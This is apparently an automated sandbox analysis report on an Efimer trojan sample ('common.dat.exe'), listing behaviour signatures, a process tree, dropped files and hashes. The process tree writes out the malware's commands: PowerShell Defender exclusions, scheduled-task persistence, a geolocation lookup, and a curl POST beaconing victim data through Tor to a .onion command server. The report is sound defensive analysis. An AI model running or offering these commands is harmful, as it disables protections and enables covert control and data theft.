Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/05/2026, 19:56

General

  • Target
    common.dat.exe
  • Size 13.2MB
  • Sample260520-yn32hsb19w
  • SHA256 ee8193edfc7e73810d6be950d2552b2501c3a9f75bc8daadbc66f74a25792d37
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Efimer

    Efimer is a trojan written in JS.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
    "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
      "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4864
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3720
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2868
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5060
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1192
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2248
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4196
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-MpComputerStatus | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2412
      • C:\Windows\SYSTEM32\curl.exe
        curl -s --max-time 10 https://ipinfo.io/country
        3⤵
          PID:4416
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4020
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4332
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe
      1⤵
        PID:3908
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
        1⤵
          PID:3372
        • C:\Windows\System32\wscript.exe
          C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
          1⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Users\Public\Documents\uzaya\ugate.exe
            "C:\Users\Public\Documents\uzaya\ugate.exe"
            2⤵
            • Executes dropped EXE
            PID:2592
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-632e724c&FLAG=0&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
            2⤵
              PID:1392
            • C:\Users\Public\Documents\uzaya\ugate.exe
              "C:\Users\Public\Documents\uzaya\ugate.exe"
              2⤵
              • Executes dropped EXE
              PID:3292

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 bae551dad802623d716ddccbca4f0b1883b58ca01032f0ab1656a68202e3e542
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 e8f1393a9e1a21ef9c18231e6d1301624694e6036ec8ddf1234219eb96222a28
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
                • MD5 SHA1 SHA512 TLSH

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140_1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _bz2.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_bz2.pyd
                • Size 82KB
                • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ctypes.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_ctypes.pyd
                • Size 128KB
                • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _decimal.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_decimal.pyd
                • Size 271KB
                • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _hashlib.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_hashlib.pyd
                • Size 62KB
                • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _lzma.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_lzma.pyd
                • Size 154KB
                • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _socket.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_socket.pyd
                • Size 81KB
                • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _uuid.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_uuid.pyd
                • Size 25KB
                • SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _wmi.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_wmi.pyd
                • Size 37KB
                • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                base_library.zip

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\base_library.zip
                • Size 1.3MB
                • SHA256 7bb9a4aff4a2324cec14472cddc8d249680cc7867dfb66f15189fe0b4fc69d09
                • MD5 SHA1 SHA512 SSDEEP TLSH

                addrs.txt

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\addrs.txt
                • Size 1.4MB
                • SHA256 09515a5c25c0e40c9ed50a099a09296c6ed31046de18a36e91de303273adb024
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jobfs_d.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\jobfs_d.js
                • Size 20KB
                • SHA256 d6976e6101ced2a95d31e5a52a1bd36022ecb959fd0e5c8ced7ef8cc5136431a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jobfs_n.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\jobfs_n.js
                • Size 33KB
                • SHA256 415dd170e49af8170557124b45706f2375e330d075ec7f22baae6912b8716435
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jpack.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\jpack.js
                • Size 2KB
                • SHA256 4464a459327c07a1fe4de3c1c0d724b0d7129f4486d8954d79bf600954f828a0
                • MD5 SHA1 SHA512 TLSH

                task.xml

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\task.xml
                • Size 3KB
                • SHA256 a8f0e31be42bbf8955c56debc92863c72534b44787d2a73bcb4f8da6913e35cf
                • MD5 SHA1 SHA512 TLSH

                ugate.exe

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\ugate.exe
                • Size 8.6MB
                • SHA256 d02902ab3bbb32163439bc5e63b4de2ad3c622fa41c19ddd9443269f081d8990
                • MD5 SHA1 SHA512 SSDEEP TLSH

                words.txt

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\words.txt
                • Size 14KB
                • SHA256 5fb8ed14a4dcafbbfb22af87501e72e1e36ad01bbf0fd4c530c34f906f815d30
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libcrypto-3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libffi-8.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _psutil_windows.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\psutil\_psutil_windows.pyd
                • Size 69KB
                • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pyarmor_runtime.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\pyarmor_runtime_000000\pyarmor_runtime.pyd
                • Size 625KB
                • SHA256 017493e88b1c38623344667a264cd42471437bb3178dda9f875cafc4073a0d38
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\python3.dll
                • Size 68KB
                • SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python313.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\python313.dll
                • Size 5.8MB
                • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
                • MD5 SHA1 SHA512 SSDEEP TLSH

                select.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\select.pyd
                • Size 30KB
                • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                unicodedata.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\unicodedata.pyd
                • Size 693KB
                • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_2nqadqeq.4le.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nqadqeq.4le.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                cached-certs

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-certs
                • Size 20KB
                • SHA256 9f0f8f42f543eb5f7d6ef4ffd32ed35de0cbdf945f5a870b99f984535a96ca69
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdesc-consensus.tmp

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
                • Size 3.4MB
                • SHA256 b7a72459ad5bc3d947b360868b1bd1fc84202d8cc188e1bd70562ad30afa85f9
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdescs.new

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 21.9MB
                • SHA256 f2548cd2607b6b9047a9dd1be2a11b6ecb778664a84c75c7cadca16905246e02
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdescs.new

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 36.7MB
                • SHA256 51253e61c6a61d7b9e30afcf895dbfa7b2438a78bf5a2d3d5da3657507fc8519
                • MD5 SHA1 SHA512 SSDEEP TLSH

                state

                • Path C:\Users\Admin\AppData\Roaming\tor\state
                • Size 4KB
                • SHA256 5580fc1c4f9426633fa4a4ba469b37bbcfdccab948f848e200edc7c1a4c52b97
                • MD5 SHA1 SHA512 SSDEEP TLSH

                GUID

                • Path C:\Users\Public\Documents\uzaya\GUID
                • Size 13B
                • SHA256 b68ba2e977587ba2ab9fb5c40345c6b80c60bd3fd034ed433c4fb8ed0724a9bb
                • MD5 SHA1 SHA512

                addrs.txt

                • Path C:\Users\Public\Documents\uzaya\addrs.txt
                • Size 1.4MB
                • SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cinfo.inf

                • Path C:\Users\Public\Documents\uzaya\cinfo.inf
                • Size 4B
                • SHA256 ac574acb272cf4ae8eafb85af676d2dab0b5db6d14846007ddc5f43013d93f80
                • MD5 SHA1 SHA512

                ocafa.js

                • Path C:\Users\Public\Documents\uzaya\ocafa.js
                • Size 51KB
                • SHA256 054d1d92f9d5f91cb2dcb3a41c16145ad77f0765bbd475fb04f6aa20af2d3479
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ocafa.xml

                • Path C:\Users\Public\Documents\uzaya\ocafa.xml
                • Size 3KB
                • SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
                • MD5 SHA1 SHA512 TLSH

                ufino.js

                • Path C:\Users\Public\Documents\uzaya\ufino.js
                • Size 32KB
                • SHA256 28b34567e7944bd3304afd7b173ab8d2dafb877e0e073eafb1832df2cfb17b6c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ufino.xml

                • Path C:\Users\Public\Documents\uzaya\ufino.xml
                • Size 3KB
                • SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
                • MD5 SHA1 SHA512 TLSH

                ugate.exe

                • Path C:\Users\Public\Documents\uzaya\ugate.exe
                • Size 8.6MB
                • SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                words.txt

                • Path C:\Users\Public\Documents\uzaya\words.txt
                • Size 14KB
                • SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1964-210-0x000001EF71BD0000-0x000001EF71CD0000-memory.dmp

                memory/2364-92-0x00007FF792930000-0x00007FF792962000-memory.dmp

                memory/2364-145-0x00007FF792930000-0x00007FF792962000-memory.dmp

                memory/3720-69-0x0000012FCA7B0000-0x0000012FCA7D2000-memory.dmp

                memory/3720-62-0x0000012FB03E0000-0x0000012FB03F0000-memory.dmp

                memory/3720-61-0x0000012FB03E0000-0x0000012FB03F0000-memory.dmp

                memory/4864-144-0x0000000070180000-0x000000007022B000-memory.dmp

                memory/4864-143-0x00007FF792930000-0x00007FF792962000-memory.dmp

                memory/4864-112-0x0000000070180000-0x000000007022B000-memory.dmp

                memory/4864-111-0x00007FF792930000-0x00007FF792962000-memory.dmp